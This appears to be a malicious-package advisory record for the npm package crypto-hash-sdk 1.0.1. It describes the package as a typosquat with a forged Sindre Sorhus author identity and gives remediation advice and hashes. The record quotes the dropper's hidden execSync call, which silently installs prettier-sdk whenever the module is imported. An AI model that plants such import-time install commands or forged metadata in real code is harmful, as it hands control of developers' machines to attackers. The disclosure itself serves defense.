-= Per source details. Do not edit below this line.=-
Package name and metadata impersonate Sindre Sorhus's legitimate crypto-hash package (forged author Sindre Sorhus <sindresorhus@gmail.com> and repository sindresorhus/crypto-hash in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true }) — on any require()/import of this module, the installer's machine silently runs npm install for the unrelated prettier-sdk package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
{
"malicious-packages-origins": [
{
"sha256": "208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08",
"source": "amazon-inspector",
"import_time": "2026-05-26T05:50:17.512686283Z",
"id": "IN-MAL-2026-003249",
"versions": [
"1.0.1"
],
"modified_time": "2026-05-19T18:58:21Z"
},
{
"sha256": "4af61786487896bee15341c54e1ca5a14c60f2a8832ab48e8dcb53fd922180a9",
"source": "ghsa-malware",
"import_time": "2026-06-10T15:25:13.637517149Z",
"id": "GHSA-hr6r-2xx8-mrh9",
"modified_time": "2026-06-10T15:08:48Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
]
}
]
}"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/crypto-hash-sdk/MAL-2026-4541.json"
[
{
"cweId": "CWE-506",
"name": "Embedded Malicious Code",
"description": "The product contains code that appears to be malicious in nature."
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
]
{
"package_integrity": [
{
"filename": "crypto-hash-sdk-1.0.1.tgz",
"hashes": {
"sha1": "3522be61f9b960bddcb252122a3a3a21d4234bc1",
"sha512_sri": "sha512-9fysDQ21e4wOncHvg/8TGKrvKWIvAqTeztx3S5SMUmFKWSM/oqc2Ss8FTRGydPAjnMvZtEwyqdNGVyYY6LUxKQ=="
}
}
],
"evidence_files": [
{
"tlsh": "ef517166df3c822203b13a175ca5969fa43d91257e9058bb8d4cbf3820c706dc6783b6",
"sha256": "25fd2657458826ba32009f8724d81609eefe4fb75aab7b6bb2a2da1232d7bd2c",
"path": "index.js"
},
{
"tlsh": "0221e1139e2fb6a327e45dcd9c3d94d1a979800d848dd9ee9edb7100c2ec661105e68a",
"sha256": "ca43953d3010cc88ea556586b66d2a27b2686e8f6ed4518bd8e7dc87db60ff90",
"path": "package.json"
}
]
}